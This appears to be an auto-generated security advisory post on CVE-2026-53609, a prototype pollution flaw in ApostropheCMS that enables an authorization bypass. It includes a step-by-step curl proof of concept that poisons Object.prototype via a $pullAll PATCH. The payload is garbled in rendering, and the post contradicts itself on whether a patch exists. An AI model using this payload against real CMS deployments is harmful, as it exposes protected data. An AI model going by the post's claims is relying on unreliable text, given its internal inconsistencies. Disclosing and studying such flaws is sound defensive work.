Listen to this Post
Intro
ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, the `apos.util.set()` function traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. The root cause is that `apos.util.set()` splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype. User-controlled keys from the `$pullAll` operator are passed directly to apos.util.set(). `cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check; since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set(). A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. Once `Object.prototype.publicApiProjection` is set to any truthy value (for example []), every module instance inherits it. Because JavaScript property lookup resolves inherited properties from Object.prototype, the authorization check is skipped for all subsequent requests. This vulnerability is classified as critical with a CVSS score of 9.1. It is referenced as CVE-2026-53609.
DailyCVE Form
Platform: ApostropheCMS
Version: ≤4.30.0
Vulnerability: Prototype Pollution
Severity: Critical
date: 2026-06-13
Prediction: 2026-06-15
What Undercode Say:
The vulnerability stems from insecure dot-notation path traversal within apos.util.set(), failing to sanitize __proto__. Exploitation allows authenticated editors to inject arbitrary values into `Object.prototype` via the `$pullAll` patch operator. This fundamentally undermines the application’s authorization mechanisms. The attack requires an authenticated editor account. No known patched versions were available at the time of publication. The vulnerability aligns with CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes).
Exploit:
Environment: ApostropheCMS v4.30.0, Node.js, MongoDB
Prerequisites: Editor-level credentials
Step 1 — Confirm Endpoint Is Protected (Unauthenticated)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"name":"notfound","data":{},"message":"notfound"}
Step 2 — Obtain Editor Token
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Step 3 — Poison Object.prototype via `$pullAll`
curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"<strong>proto</strong>.publicApiProjection":[]}}'
Response:
HTTP/1.1 200 OK
Step 4 — Authorization Bypass Confirmed (Unauthenticated)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"pages":0,"currentPage":1,"results":[]}
The endpoint now returns a valid paginated response instead of notfound. No credentials are supplied.
Cleanup: The pollution persists until the Node.js process is restarted.
Protection:
Upgrade ApostropheCMS to version 4.31.0 or higher. Apply input validation to reject dangerous prototype-related path segments (__proto__, constructor, prototype) before traversal, both inside `apos.util.set()` and before passing user-controlled keys into it from implementPatchOperators(). Implement network-level mitigations such as API endpoint restrictions. Monitor for unauthorized access patterns that might indicate exploitation attempts.
Impact:
Vulnerability Type: Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)
Who Is Impacted: Any ApostropheCMS installation where at least one editor-level account exists. This is the default configuration for multi-user CMS deployments.
Security Impact: A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process. All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck(). Verified affected endpoints include `@apostrophecms/user` and @apostrophecms/global. Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected. The bypass affects every unauthenticated visitor until the server is restarted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

